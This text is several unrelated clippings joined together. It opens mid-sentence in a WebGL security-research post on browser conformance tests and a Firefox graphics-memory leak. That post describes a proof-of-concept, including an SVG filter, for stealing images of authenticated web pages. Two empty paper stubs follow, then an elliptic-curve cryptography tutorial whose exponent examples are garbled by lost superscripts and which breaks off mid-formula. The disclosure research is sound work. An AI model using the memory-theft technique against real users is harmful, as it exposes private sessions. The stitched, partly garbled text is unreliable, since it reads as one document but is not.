of one of the failed conformance tests: the issue it identified allowed us to
extract images containing data from the user’s desktop and from other web
browser sessions such as authenticated pages. This issue was specific to
Firefox and will be fixed in the next version of the browser.

If you are concerned by WebGL based attacks see our FAQ for details on whether
you are vulnerable and if so how to protect yourself.

<img src='img/Temp2_1598.gif' />

##### **Figure 1 - Stealing Graphics Memory from the Desktop**

## **Cross-platform testing against the Khronos solution**

One important aspect of our research has been to examine the testing standards
that exist to help ensure the effective operation of WebGL, to determine the
extent to which they help or hinder efforts to ensure end user security.

To this end, Context set up machines to test responses from WebGL and Khronos
to the issues we have already raised about security and WebGL. We tested
Google Chrome and Mozilla Firefox using different operating systems and
graphic cards.

We performed three sets of tests:

  1. Each browser-operating system-graphics combination was inspected for the GL\_ARB\_robustness extension. This is Khronos’ proposed solution to fix the denial of service issues we had previously reported. It is interesting to see how widely the extension is deployed today.
  2. We ran the proof of concept \(as mentioned in the original blog\) to see if users are vulnerable even with the robustness extension.
  3. Finally we ran Khronos’ own WebGL conformance suite \(http://www.khronos.org/webgl/wiki/Testing/Conformance\), which has been developed to try and test adherence to the WebGL specification. It should be expected that the browser developers would be running this suite as part of their standard release testing, so it ought to test a suitable range of features to determine whether or not there is significant platform dependence.

We used one of each of the main graphics cards \(Intel, NVidia, and ATI/AMD\),
on Windows XP SP3, Windows 7 and Ubuntu Linux 11.04. We also tested one Mac
which had an NVidia 9400M graphics card. For the Windows platforms the latest
driver available at the time was installed; for Ubuntu and OSX we used the
latest proprietary driver available with the distribution. The tests were
split into two groups. On Windows platforms Firefox and Chrome use ANGLE
\(which is an OpenGLES implementation on top of Direct3D\); while on Linux and
OSX OpenGL is used directly. This is why only NVidia was tested on Linux \(as
we did not have anything but an NVidia based Mac\) while Chrome had WebGL
force-enabled to produce a comparison between Windows platforms. The following
table contains the driver versions on each platform which was tested.

Platform | ATI Radeon HD3400 Driver | NVidia Geforce 310 Driver | Intel G41 Driver  
---|---|---|---  
Windows XP SP3 | 11.5 | 6.14.12.7061 | 6.14.10.5355  
Windows 7 | 11.5 | 8.17.12.7061 | 8.15.10.2302  
Mac OSX 10.6.7 | - | \(9400M\) 6.2.6 | -  
UBuntu 11.04 | - | 270.41.06 | -  
  

  

The following table shows on which platforms and drivers Chrome and Firefox
WebGL implementations can expect to find the GL\_ARB\_robustness extension
implemented.

Platform | ATI | NVidia | Intel  
---|---|---|---  
Windows XP SP3 | Not supported | Supported | Not supported  
Windows 7 | Not supported | Supported | Not supported  
Mac OSX 10.6.7 | - | Supported | -  
UBuntu 11.04 | - | Not supported | -  
  

  

The following table is the results of running Chrome and Firefox against the
denial of service proof of concept on each platform.

Platform | ATI | NVidia | Intel  
---|---|---|---  
Windows XP SP3 | Screen blacks out after approximately 3 seconds before recovering with a window saying that the ATI VPU Recover has reset the graphics accelerator. | Desktop freezes. OS eventually crashes. | Desktop freezes. OS eventually crashes.  
Windows 7 | Screen goes black after a few seconds and then recovers with a warning about display driver not responding and has been recovered. | Screen goes black after a few seconds and then recovers with a warning about display driver not responding and has been recovered. | Screen goes black after a few seconds and then recovers with a warning about display driver not responding and has been recovered.  
Mac OSX 10.6.7 | - | Desktop freezes, requires a reboot to restore functionality | -  
UBuntu 11.04 | - | Screen goes black after a few seconds and then recovers. | -  
  

  

The conformance suite consists of 144 main tests, each of which can contain
one or more sub tests. The table below only records main test failure, because
generally if one subtest fails most fail with a similar error so it makes
sense to record at this level. Each browser, platform and graphics card is
reported separately.

Platform | Browser | Conformance Results Failures \(out of 144 tests\)  
---|---|---  
ATI | NVidia | Intel  
Windows XP SP3 | Chrome 11.0.696.71 | 15 | 15 | 8  
Firefox 4.0.1 | 23 | 22 | 22  
Windows 7 | Chrome 11.0.696.71 | 15 | 15 | 8  
Firefox 4.0.1 | 23 | 22 | 22  
Mac OSX 10.6.7 | Chrome 11.0.696.71 | - | 6 | -  
Firefox 4.0.1 | - | 27 | -  
UBuntu 11.04 | Chrome 11.0.696.71 | - | 4 | -  
Firefox 4.0.1 | - | 21 | -  
  

  

A few conclusions can be drawn from these results. At present it seems only
NVidia supports the GL\_ARB\_robustness extension, which on XP doesn’t stop
the denial of service attack \(this is likely to be because the extension is
not enabled by any web browser\). But only Windows XP and OSX configurations
suffered from the denial of service condition. The driver for the ATI card on
XP seems to have implemented its own reliability mechanism, managed to reset
the device and was then able to resume operation. This would seem to indicate
a better result than perhaps could be expected. Furthermore Mozilla have
stated in a recent post that “forthcoming GL\_ARB\_robustness\_2 extension
will help even more” \(http://blog.jprosevear.org/2011/05/13/webgl-security/\)
which rather undermines any claims made about the benefits offered by the
earlier version.

As for the conformance test results, it would seem that no browser can claim
to offer full support for WebGL, based on the Khronos specification, as all
fail some part of the conformance suite. Comparison of the failures between
similar platforms reveals a degree of commonality. For example, Chrome on XP
exhibits the same bugs as Chrome on 7. Between disparate platforms the browser
must be exposing some aspect of the underlying graphics implementation to the
web page for problems to arise, even if it is something trivial such as
incorrect return values. The results on OSX are especially anomalous: Chrome
has the second best result out of all the platforms yet Firefox has the worst.

## **The Case of the ATI Failure**

The results of the conformance tests are one thing, but where does security
come into the picture? Well as Khronos indicates at
http://www.khronos.org/webgl/wiki/Testing/Conformance the primary purpose of
the conformance test is to find incompatibilities between platforms. But some
of the tests do also have a security assessing function.

The structuring of the WebGL conformance test suite ensures that no one test
is marked out as being any more significant than any of the others. They are
all seemingly arbitrary test cases with no specific purpose in mind from a
standard adherence point of view. That makes this suite quite different from,
say, the CSS conformance test suite
\(http://test.csswg.org/suites/css2.1/20110323/xhtml1/toc.xht\) which has
tests for each important parts of the standard, all referred directly back to
the original description in the standard.

So are any security issues addressed directly in this testing regime? From the
table of the Windows platforms all the tests seem to match for a given browser
on a particular card, except for one extra failure, for ATI on XP in Firefox.
From a statistical point of view it doesn’t significantly change the results
for Firefox on XP, up from around 15% failure to 16%.

If the conformance suite did relate directly to the standard it might have
been possible to see that the failing test was actually testing for a critical
security requirement, in this case testing to ensure that that certain
operations do not expose uninitialised data to an untrusted web page. But it
doesn’t, so the test becomes lost in the noise of 22 other issues, most of
which relate to the return of trivial incorrect error codes.

In fact, this wasn’t just a failure on ATI cards on XP, it was an issue that
just happened to become visible during this test. Further inspection confirmed
it also affected NVidia cards on XP in the same way. And it wasn’t limited to
the Microsoft platform either: OSX also had the issue and the way in which the
graphics card is used under OSX actually made the problem even more
significant.

It turned out that this “failure” was known to Mozilla developers, who seem to
have chosen to ignore the results of these tests on XP and OSX. Perhaps if the
conformance suite had made it clear that failing this test could indicate a
serious security issue the developers might have flagged this up earlier?

The bug itself was the result of a relatively simple mistake in clearing
graphics memory which did not take into account some of the pre-existing state
of the graphics layer. It isn’t clear why Linux or Windows 7 were not affected
by this; it seems likely that it was down to some specific implementation
feature which eliminated the issue. Context contacted Mozilla’s security team
who have committed themselves to resolving this issue in time for the next
release \(expected 21st June 2011\).

  

<img src='img/Temp2_1596.gif' />

##### **Figure 2 Graphics Memory Stealing**

## **Exploiting the Vulnerability**

The vulnerability we discovered enables any graphics image that has been
displayed on the system to be stolen by an attacker by reading uninitialised
data from graphics memory. This is not limited to WebGL content but includes
other web pages, a user’s desktop and other applications.

To prove that it was possible to exploit this bug, we developed a proof of
concept exploit that would be able to steal web page data. As we feel this
solution was quite novel it is presented here for interest. From the original
vulnerability, an attacker would have no control over which specific region
was read. The memory accessible was allocated based on a number of different
properties, but it wasn’t necessarily predictable.

An attacker would face two main challenges in trying to exploit this
vulnerability: getting the data an attacker wants into graphics memory, and
then finding it again afterwards.

As an example target, let’s use an authenticated LinkedIn session. To be
certain of getting the data which would be of interest to an attacker into the
graphics memory we used Firefox’s 2D compositing features. This means Firefox
will render the element to a texture and upload it to the graphics card to
speed up compositing, so populating the graphics memory with the data we wish
to steal.

The second issue seems a bit more difficult to solve. Certainly it would be
possible to just capture any data we can and use a human to decipher whether
it is the data we required, but that isn’t especially efficient. Instead we
want to somehow key the data in memory so that when we read it out we can be
reasonably certain it is the data we requested. Obviously we cannot directly
manipulate the contents of the IFRAME \(otherwise this would be a pointless
exercise\), so another approach is necessary.

This is where SVG filters come into play. It is possible to create a filter
which will manipulate the colour values of the texture we are trying to
capture. As this is pre-composited the texture in video memory is coloured
appropriately. The following SVG filter when applied to the IFRAME will
convert each pixel to greyscale and store the value in the blue channel. Then
it sets the red channel to a known value between 0 and 1. For each run the red
channel value is randomly generated and video memory searched for that colour
value. So when we find a significant proportion of pixels with that red
channel value we know we have struck a seam of interesting data.

  

<svg> <filter> <\!-- Convert to greyscale in the green channel -->
<feColorMatrix style="color-interpolation-filters:sRGB" values="0 0 0 0 0 0 0
0 0 0 0.333 0.333 0.333 0 0 0 0 0 1 0"/> <feComponentTransfer> <\!-- Set
intercept to the red channel value we want --> <feFuncR type="linear"
slope="0" intercept="1"/> </feComponentTransfer> </filter> </svg>

  

  

Of course, there are no guarantees that the data is in any sort of order. For
our proof of concept this wasn’t that much of an issue, because most of the
time the data was at least readable. But the technique could be taken further
to encode positional information into the texture, to allow reconstruction of
the original arrangement. One improvement we did make was to compress the
colour information into the unused blue channel. This made it possible to
extract a reasonable looking colour image from the captured data.

The following is a video showing the process in action. In the video we show
the loading of LinkedIn into an IFRAME and then the application of the filter
to tag the memory. The image is then rotated to spray the graphics card’s
memory. By exploiting the graphics memory leakage bug we can then trawl the
memory for the colour we have tagged the image with and extract an image of
the web page. This image is then in our control and can be sent to a web
server under the attacker's control. To exploit this issue in the real world a
malicious link would be sent to a user and this process of stealing images of
authenticated web pages would occur without the user’s knowledge.

**There is no audio track on this video.**

## **Conclusions**

It would be unreasonable to expect full conformance to the complete
specification of a new standard: there are always likely to be edge cases.
But, as we have stressed before, some areas of WebGL need to be carefully
implemented to prevent security issues arising and unfortunately in this case,
because security-related conformance tests are not clearly identified, it is
not possible to determine if an implementation is secure. This has been a
contributory factor in security issues being missed by developers of the
current browser implementations of WebGL, which has in turn created serious
security flaws. Browser developers should start banning non-conformant
configurations as they are identified until the security issues that have been
highlighted are resolved.

Context therefore recommends that users and system administrators disable
WebGL.

See FAQ for more details.

For a report containing the contents of our blogs click here.

# The Joy of Sandbox Mitigations

**Created:**| _3/7/2018 8:38:12 AM_  
---|---  
**Updated:**| _3/7/2018 8:38:27 AM_  
**Author:**| _wishi_  
**Tags:**| _windows sandboxing mitigations_  
  

  
<img src='img/the_joy_of_sandbox_mitigations_export.pdf' />  

# Pseudorandom Multiband Frequency Hopping for Interference Avoidance Using
GNU Radio and USRP

**Created:**| _9/2/2010 1:38:48 PM_  
---|---  
**Updated:**| _9/8/2010 8:47:23 AM_  
**Author:**| __  
**Tags:**| _reversing signal USRP DSP_  
  
<img src='img/338C4A8Ed01.pdf' />

# Elliptic Curve Cryptography Tutorial

**Created:**| _7/17/2017 11:22:28 AM_  
---|---  
**Updated:**| _7/17/2017 11:22:28 AM_  
**Author:**| __  
**Tags:**| _bookmark crypto math_  
  

  

Table of Contents

  1. 1 Arithmetic Primitives
    1. 1.1 Modular Arithmetic Primer
    2. 1.2 Addition and Subtraction
      1. 1.2.1 Example
    3. 1.3 Multiplication
      1. 1.3.1 Example
    4. 1.4 Division
      1. 1.4.1 Example
    5. 1.5 Exponentiation
      1. 1.5.1 Example
    6. 1.6 Square Root
  2. 2 Elliptic Curve Cryptography
    1. 2.1 Introduction
    2. 2.2 Elliptic Curve Equation
    3. 2.3 Point representation
  3. 3 Point Operations
    1. 3.1 Point Addition
    2. 3.2 Point Doubling
    3. 3.3 Scalar Point Multiplication
    4. 3.4 Checking if a point is on curve
  4. 4 Doing useful ECC operations
    1. 4.1 Curve cryptosystem parameters
    2. 4.2 Generating a keypair
    3. 4.3 Encrypting using ECIES
      1. 4.3.1 Encryption
      2. 4.3.2 Decryption
    4. 4.4 Signing using ECDSA
      1. 4.4.1 Signing
      2. 4.4.2 Signature Verification
      3. 4.4.3 Why ECDSA works
    5. 4.5 Messing with ECDSA signatures
      1. 4.5.1 Excursion: Why the greatest morons of the universe work at Sony
  5. 5 Advanced Topics
    1. 5.1 Point Compression
  6. 6 Examples
    1. 6.1 Testing your integer arithmetic using Genius
    2. 6.2 Using Sage to play with elliptic curves
    3. 6.3 Extracting curve parameters from openssl
    4. 6.4 Playing with openssl ECDSA signatures
    5. 6.5 Visualizing a small curve
  7. 7 FAQ
    1. 7.1 Cool\! Now that I know how to use ECC, should I write my own crypto library?
    2. 7.2 Can I at least define my own curve then?
    3. 7.3 But I don't trust NIST/SECG. What alternatives do I have?
  8. 8 Downloads
  9. 9 Literature

## 1 Arithmetic Primitives

### 1.1 Modular Arithmetic Primer

One way to do arithmetic calculations is to perform them inside a finite field
over a prime number, or Fp. This means that every operation within the basic
arithmetic works modulo a chosen prime number. The reason for choosing a prime
is that this way, the field has important properties \(such as algebraic
closure and the invertability of each item within the field\). So the basic
mathematics is the very same which RSA also uses. It is important to keep one
thing in mind when talking about integers, however: Do not just consider
integers that fit within your machine word's length, i.e. 64 or 32 bits. When
thinking of integer operations that do cryptographic operations, always think
of big integers, i.e. 200 or more bits. These have not only to be multiplied,
but in some cases also exponentiated. This means some operations are a bit
tricky to implement. How this can be done efficiently is described in the next
few sections.

### 1.2 Addition and Subtraction

When adding two integers i and j of bitlength b, the result will be of
bitlength b + 1 in the worst case. This means they can easily be naively
added. If the result is larger or equal to Fp one has only to subtract p from
the result, i.e.:

<img src='img/Temp2_2649.png' width='172' height='20' alt='latex:r = i + j
\textif i + j \lt p' /> <img src='img/Temp2_2592.png' width='206' height='20'
alt='latex:r = i + j - p \textif i + j \ge p' />

Subtraction is equally easy: just subtract the two values. If the result is
less than zero, simply add p, i.e.:

<img src='img/Temp2_2600.png' width='171' height='20' alt='latex:r = i - j
\textif i - j \ge 0' /> <img src='img/Temp2_2678.png' width='205' height='20'
alt='latex:r = i - j + p \textif i - j \lt 0' />

#### 1.2.1 Example

  * 13 + 57 = 70 mod 101
  * 13 + 9 = 22 mod 23
  * 13 - 57 = 57 mod 101
  * 13 - 9 = 4 mod 23

### 1.3 Multiplication

For multiplication of two integers i and j of bitlength b, the result will
have a worst-case bitlength of 2b. After each multiplication operation the
whole integer has to be taken modulo p. This is already non-trivial:
Continuously subtracting p from the result of the multiplication will give you
the desired result, but will not be very efficient. Multiplication can however
be reduced to a set of additions using this algorithm:

[code]

    n = i
    r = 0
    for (bit = 0; bit < bitlength; bit++) {
        if (bitset(j, bit)) {
            r = (r + n) mod p
        }
        n = (n + n) mod p
    }
    
[/code]

Or \(actual, working Python code\):

[code]

    def multiply(i, j):
        n = i
        r = 0
        for bit in range(bitlength):
            if (j & (1 << bit)):
                r = (r + n) % p
            n = (n + n) % p
        return r
    
[/code]

Therefore, we need only log\(p\) operations to iterate over all bits.
Mathematically what happens is that the value j is split up into its power-two
components, i.e.:

<img src='img/Temp2_2607.png' width='622' height='22' alt='latex:123 \* a = (1
+ 2 + 8 + 16 + 32 + 64) \* a = 1a + 2a + 8a + 16a + 32a + 64a' />

The intermediate value n is initialized to i at the beginning of the program:

<img src='img/Temp2_2614.png' width='74' height='20' alt='latex:n_0 = 1 \* i'
/>

And by adding the value repeatedly to itself, it is doubled every time:

<img src='img/Temp2_2656.png' width='162' height='20' alt='latex:n_1 = n_0 +
n_0 = 2 \* i' /> <img src='img/Temp2_2652.png' width='162' height='19'
alt='latex:n_2 = n_1 + n_1 = 4 \* i' /> <img src='img/Temp2_2587.png'
width='162' height='20' alt='latex:n_3 = n_2 + n_2 = 8 \* i' />

Those parts of the overall sum which are needed for the final result \(i.e.
where the appropriate bit is set within j\) are then added into r, the other
ones are discarded.

#### 1.3.1 Example

  * 13 \* 9 = 2 mod 23
  * 13 \* 57 = 34 mod 101
  * 123 \* 456 = 4 mod 2003
  * 123 \* 456 = 33 mod 101

### 1.4 Division

To implement division in Fp one first can write the division operation a bit
differently:

<img src='img/Temp2_2622.png' width='121' height='48' alt='latex:r =
\frac{i}{j} = i \* j^{-1}' />

So instead of dividing directly, we replace that operation by multiplication
with the inverse element of the dividend. Multiplication is an operation we
can already perform, as shown in the previous section. Also, each element has
to have an inverse element, as stated by the basic rules of the group Fp.
Finding it is a bit tricky, however. We use the extended euclidian algorithm
to perform this \(you guessed it: working Python code\!\):

[code]

    def eea(i, j):
        assert(isinstance(i, int))
        assert(isinstance(j, int))
        (s, t, u, v) = (1, 0, 0, 1)
        while j != 0:
            (q, r) = (i // j, i % j)
            (unew, vnew) = (s, t)
            s = u - (q * s)
            t = v - (q * t)
            (i, j) = (j, r)
            (u, v) = (unew, vnew)
        (d, m, n) = (i, u, v)
        return (d, m, n)
    
[/code]

Performing the EEA on any two integers i, j will yield their greatest common
divisor d \(which we're not particularly interested in\) and the Bézout-
coefficients m, n. These coefficients have a special meaning:

<img src='img/Temp2_2602.png' width='139' height='20' alt='latex:i \* n = d
\mod j' /> <img src='img/Temp2_2677.png' width='144' height='20' alt='latex:j
\* m = d \mod i' />

This means in other words: If we use the EEA on \(p, j\), d will be 1 since p
is prime. The resulting Bézout-coefficient will fulfill the following
equation:

<img src='img/Temp2_2604.png' width='149' height='20' alt='latex:j \* m = 1
\mod p' />

Therefore, m is exactly the inverse element of j modulo p. After performing
the EEA, we therefore have to only multiply \(which we can already do\):

<img src='img/Temp2_2659.png' width='266' height='48' alt='latex:r =
\frac{i}{j} = i \* j^{-1} = i \* \EEA(j, p)_m' />

#### 1.4.1 Example

  * 77 / 13 = 37 mod 101
  * EEA\(101, 13\): d = 1, m = -31, n = 4
  * 13-1 = -31 mod 101 = 70 mod 101
  * Check: 13 \* 70 = 1 mod 101
  * 13 / 77 = 71 mod 101
  * EEA\(101, 77\): d = 1, m = 21, n = -16
  * 77-1 = 21 mod 101
  * Check: 77 \* 21 = 1 mod 101
  * 123 / 1234 = 1758 mod 2003
  * EEA\(2003, 1234\): d = 1, m = 112, n = -69
  * 1234-1 = 112 mod 2003
  * Check: 1234 \* 112 = 1 mod 2003

### 1.5 Exponentiation

The last operation which we will want to perform efficiently is modular
exponentiation. Luckily, this works in much the same way that we already
implemented multiplication.

[code]

    n = i
    r = 1
    for (bit = 0; bit < bitlength; bit++) {
        if (bitset(j, bit)) {
            r = (r * n) mod p
        }
        n = (n * n) mod p
    }
    
[/code]

Or again in real, working Python code:

[code]

    def exponentiate(i, j):
        n = i
        r = 1
        for bit in range(bitlength):
            if (j & (1 << bit)):
                r = multiply(r, n)
            n = multiply(n, n)
        return r
    
[/code]

This is also called the square-and-multiply approach -- but it's nothing
really fancy. To understand what's going on, it is necessary to keep in mind
the exponentiation rules which are:

<img src='img/Temp2_2626.png' width='114' height='20' alt='latex:a^b \* a^c =
a^{b + c}' />

Then what we are performing algorithmically is very similar to the trick that
we already did with multiplication. Only here the exponent j is split up into
it's power-two-components, i.e.:

<img src='img/Temp2_2638.png' width='432' height='20' alt='latex:a^{123} =
a^{1 + 2 + 8 + 16 + 32 + 64} = a^{1} \* a^{2} \* a^{8} \* a^{16} \* a^{32} \*
a^{64}' />

When multiplying a number with itself, \(i.e. the n = n \* n operation\) does

<img src='img/Temp2_2675.png' width='87' height='20' alt='latex:i^k \* i^k =
i^{2k}' />

Therefore, starting with the initialization of n, n0 is initialized to i:

<img src='img/Temp2_2576.png' width='58' height='24' alt='latex:n_0 = i^1' />

And by continuously multiplying the intermediate variable n with itself, all
powers of two are iterated.

<img src='img/Temp2_2632.png' width='105' height='26' alt='latex:n_1 = n_0^2 =
i^2' /> <img src='img/Temp2_2603.png' width='105' height='25' alt='latex:n_2 =
n_1^2 = i^4' /> <img src='img/Temp2_2601.png' width='123' height='25'
alt='latex:n_3 = n_2^2 = i^8 ...' />

Those which are needed for use in the final product \(i.e. where the bit is
set to one\) are then multiplied into r, the other intermediate values are
ignored.

#### 1.5.1 Example

  * 1357 = 45 mod 101
  * 1358 = 80 mod 101
  * 1359 = 30 mod 101
  * 7799 = 21 mod 101
  * 210 = 14 mod 101
  * 220 = 95 mod 101
  * 230 = 17 mod 101
  * 240 = 36 mod 101
  * 314159265359271828182846 = 122574892404968648570787373191368149806 mod \(2127 \- 1\)

### 1.6 Square Root

Finding the square root to a number within Fp is not necessary for doing usual
ECC arithmetic, but may be useful notetheless. If you look at the ECC
equation, you'll see that a term y2 appears within -- if we ever want to solve
for y, we would need modular square rooting. This is much harder than it
sounds, actually. Given a number x in Fp, for which we assume that it is a
square \(also known as "a quadratic residue modulo p"\):

<img src='img/Temp2_2591.png' width='131' height='24' alt='latex:y^2 = x \mod
p' />

we're looking for a y so that

<img src='img/Temp2_2606.png' width='139' height='22' alt='latex:y = \sqrt{x}
\mod p' />

Note that the square root symbol has nothing to do with a square root over R
or even C. It is a function which may or may not have a result. Finding the
square root, as I mentioned, can be difficult -- but if p is 3 congruent
modulo 4, it can be really easy. That is, if:

<img src='img/Temp2_2663.png' width='124' height='20' alt='latex:p = 3 \mod 4'
/>

"Huh?" I hear you say. It sounds bizarre. Let's look at the math. Consider a
specific power of x:

<img src='img/Temp2_2608.png' width='515' height='31'
alt='latex:x^{\frac{p+1}{4}} = (y^2)^{\frac{p+1}{4}} = y^{\frac{p+1}{2}} =
y^{\frac{p-1 + 2}{2}} = y^{\frac{p - 1}{2} + 1} = y \* y^{\frac{p - 1}{2}}
\mod p' />

Or, in other terms:

<img src='img/Temp2_2612.png' width='307' height='30'
alt='latex:x^{\frac{p+1}{4}} = y \* y^{\frac{p - 1}{2}} = y \* \sqrt{y^{p -
1}}\mod p' />

Now we apply Fermat's little theorem, which says that

<img src='img/Temp2_2605.png' width='154' height='24' alt='latex:a^{p-1} = 1
\mod p' />

Therefore

<img src='img/Temp2_2670.png' width='299' height='30'
alt='latex:x^{\frac{p+1}{4}} = y \* \sqrt{y^{p - 1}} = y \* \sqrt{1}\mod p' />

The square root of 1 exists in all Fp, and has the two results 1 and -1 \(or
in other words, p - 1\). Substitution therefore yields

<img src='img/Temp2_2672.png' width='166' height='30' alt='latex:y = \pm
x^{\frac{p+1}{4}} \mod p' />

But how can we decide from any given number if it is a quadratic residue over
Fp? One way is to simply check by squaring the candidate for y and see if the
result is x. Another way is by calculating the so-called Legendre symbol
before determining the candidate. The Legrende symbol is given by the formula

<img src='img/Temp2_2610.png' width='184' height='52' alt='latex:\left(
\frac{a}{p} \right) = a^{\frac{p-1}{2}} \mod p' />

This is not to be confused with division \(which would be division by zero\).
The Legrende symbol has only three possible values: -1, 0 and 1. It is zero
when a is 0 mod p \(this is the not-so-interesting case\). But it is 1 if a is
a quadratic residue modulo p and -1 if a is a quadrativ non-residue modulo p.
In other words: If there is a square root of any given a, the Legrende symbol
will be 0 or 1, otherwise it will be -1.

But what if p is not 3 modulo 4? Well, then one way to solve the problem is by
application of the Tonelli–Shanks algorithm, which you can find on Wikipedia
and which is also quite straightforward.

## 2 Elliptic Curve Cryptography

### 2.1 Introduction

If you're first getting started with ECC, there are two important things that
you might want to realize before continuing:

  1. "Elliptic" is not elliptic in the sense of a "oval circle".
  2. "Curve" is also quite misleading if we're operating in the field Fp. The drawing that many pages show of a elliptic curve in R is not really what you need to think of when transforming that curve into Fp. Rather than a real "curve" \(i.e. a not-straight line\), it is more like a cloud of points in the field -- these points are not connected.

Rather than getting confused by the meaning of the words which you might
assume, rather try to get confused by the mathematically correct definition of
a "Elliptic Curve": it's a smooth, projective algebraic curve of genus one and
third degree with a distinct point O \(at infinity\). Or maybe just ignore the
term and continue -- it's not really necessary to get it running and you'll
see where this is going anyways. Maybe it will all make sense in the end.

### 2.2 Elliptic Curve Equation

If we're talking about an elliptic curve in Fp, what we're talking about is a
cloud of points which fulfill the "curve equation". This equation is:

<img src='img/Temp2_2584.png' width='215' height='24' alt='latex:y^2 = x^3 +
ax + b \mod p' />

Here, y, x, a and b are all within Fp, i.e. they are integers modulo p. The
coefficients a and b are the so-called characteristic coefficients of the
curve -- they determine what points will be on the curve.

Note that the curve coefficients have to fulfill one condition:

<img src='img/Temp2_2627.png' width='130' height='24' alt='latex:4a^3 + 27b^2
\neq 0' />

This condition guarantees that the curve will not contain any singularities.

### 2.3 Point representation

Representing a point on the curve is most intuitively done in the so-called
affine projection. Points which are represented in affine coordinates are
vectors with an x and y component, just like in an euclidian coordinate
system. The only difference is that the x and y values are also integers
modulo p. There is one exception: One point at infinity, called O, is present
on any curve. To denote points, uppercase letters will be used -- to denote
integers, lowercase letters will come into play:

<img src='img/Temp2_2655.png' width='87' height='52' alt='latex:A =
\begin{pmatrix} a_x \\ a_y \\ \end{pmatrix}' />

## 3 Point Operations

To do any meaningful operations on a elliptic curve, one has to be able to do
calculations with points of the curve. The two basic operations to perform
with on-curve points are:

  1. Point addition: R = P + Q
  2. Point doubling: R = P + P

Out of these operations, there's one compound operation, scalar point
multiplication, which can be implemented by the two above. This will also be
described. Note that adding any point to the special point at infinity yields
the point, or mathematically speaking:

<img src='img/Temp2_2643.png' width='130' height='17' alt='latex:R = O + P =
P' />

### 3.1 Point Addition

Adding two points is not as easy as simply adding their x- and y-components
and taking them modulo p. Instead it is more like connecting the two points
via a line and then intersecting that line with the curve \(although this
operation will not yield the resulting point, but its conjugate\). What it
exactly relates to is not really important, however. What is important is how
you perform the calculation based on what you've already implemented. Note
that point addition only works on two points which are not the same:

<img src='img/Temp2_2616.png' width='321' height='52' alt='latex:R = P + Q =
\begin{pmatrix} p_x \\ p_y\end{pmatrix} + \begin{pmatrix}q_x \\
q_y\end{pmatrix}, \spc P \neq Q' />

Then, you need to perform the following calculations:

<img src='img/Temp2_2639.png' width='98' height='44' alt='latex:s = \frac{p_y
- q_y}{p_x - q_x}' /> <img src='img/Temp2_2582.png' width='142' height='24'
alt='latex:r_x = s^2 - p_x - q_x' /> <img src='img/Temp2_2633.png' width='180'
height='24' alt='latex:r_y = s \* (p_x - r_x) - p_y' />

### 3.2 Point Doubling

Point doubling comes into play if two points shall be added which are
identical, i.e.:

<img src='img/Temp2_2609.png' width='88' height='16' alt='latex:R = P + P' />

These are the calculations needed to get R. Note that a, which is needed for
calculating s, is one of the curve parameters:

<img src='img/Temp2_2629.png' width='102' height='55' alt='latex:s = \frac{3
p_x^2 + a}{2 p_y}' /> <img src='img/Temp2_2585.png' width='112' height='24'
alt='latex:r_x = s^2 - 2 p_x' /> <img src='img/Temp2_2633.png' width='180'
height='24' alt='latex:r_y = s \* (p_x - r_x) - p_y' />

### 3.3 Scalar Point Multiplication

When point multiplication and point doubling are implemented, one can derive
from those two basic building blocks scalar point multiplication, i.e.
multiplying a scalar value \(a integer\) with a point:

<img src='img/Temp2_2644.png' width='62' height='16' alt='latex:R = kA' />

The trick works surprisingly similar to the method we already used to achieve
integer multiplication:

[code]

    N = A
    R = O    // Point at infinity
    for (bit = 0; bit < bitlength; bit++) {
        if (bitset(k, bit)) {
            R = point_add(R, N)
        }
        N = point_double(N)
    }
    
[/code]

The inverse of that operation, i.e. finding k for a given A and R, is called
the "discrete logarithm". This is an operation which is \(without any further
tricks like knowing a secret "helper" value\) considered computationally
infeasible. Therefore it lays the foundation for the ECC cryptosystem: Finding
R for given k and A is easy, the opposite direction is hard -- unless you have
the "helper" value called "private key".

### 3.4 Checking if a point is on curve

A good way to check your results for plausibility is to check if the result of
a point addition or scalar point multiplication yields in a point which is
again on the curve. How can you do this? Well, it is really surprisingly easy
-- for a point A to check if it's on the curve, you only need to plug its
vector components into the curve equation and see if it all works out:

<img src='img/Temp2_2624.png' width='87' height='52' alt='latex:Q =
\begin{pmatrix} q_x \\ q_y \\ \end{pmatrix}' /> <img src='img/Temp2_2590.png'
width='226' height='33' alt='latex:q_y^2 \stackrel{?}{=} q_x^3 + a q_x + b
\mod p' />

## 4 Doing useful ECC operations

### 4.1 Curve cryptosystem parameters

In order to turn all these mathematical basics into a cryptosystem, some
parameters have to be defined that are sufficient to do meaningful operations.
There are 6 distinct values for the Fp case and they comprise the so-called
"domain parameters":

  1. p: The prime number which defines the field in which the curve operates, Fp. All point operations are taken modulo p.
  2. a, b: The two coefficients which define the curve. These are integers.
  3. G: The generator or base point. A distinct point of the curve which resembles the "start" of the curve. This is either given in point form G or as two separate integers gx and gy
  4. n: The order of the curve generator point G. This is, in layman's terms, the number of different points on the curve which can be gained by multiplying a scalar with G. For most operations this value is not needed, but for digital signing using ECDSA the operations are congruent modulo n, not p.
  5. h: The cofactor of the curve. It is the quotient of the number of curve-points, or \#E\(Fp\), divided by n.

### 4.2 Generating a keypair

Generating a keypair for ECC is trivial. To get the private key, choose a
random integer dA, so that

<img src='img/Temp2_2581.png' width='94' height='19' alt='latex:0 \lt d_A \lt
n' />

Then getting the accompanying public key QA is equally trivial, you just have
to use scalar point multiplication of the private key with the generator point
G:

<img src='img/Temp2_2653.png' width='100' height='19' alt='latex:Q_A = d_A \*
G' />

Note that the public and private key are not equally exchangeable \(like in
RSA, where both are integers\): the private key dA is a integer, but the
public key QA is a point on the curve.

### 4.3 Encrypting using ECIES

#### 4.3.1 Encryption

Performing encryption using ECIES is then relatively easy. Let's assume we
want to encrypt data with the public key QA that we just generated. Again,
first choose a random number r so that

<img src='img/Temp2_2661.png' width='82' height='16' alt='latex:0 \lt r \lt n'
/>

Then, calculate the appropriate point R by multiplying r with the generator
point of the curve:

<img src='img/Temp2_2623.png' width='76' height='16' alt='latex:R = r \* G' />

Also multiply the secret random number r with the public key point of the
recipient of the message:

<img src='img/Temp2_2648.png' width='83' height='19' alt='latex:S = r \* Q_A'
/>

Now, R is publicly transmitted with the message and from the point S a
symmetric key is derived with which the message is encrypted. A HMAC will also
be appended, but we'll skip that part here and just show the basic
functionality.

#### 4.3.2 Decryption

Now assume that you receive a message, which is encrypted with a symmetric
key. Together with that message you receive a value of R in plain text. How
can you -- with the aid of your private key, of course -- recover the
symmetric key? Well, that's also easy:

<img src='img/Temp2_2666.png' width='82' height='19' alt='latex:S = d_A \* R'
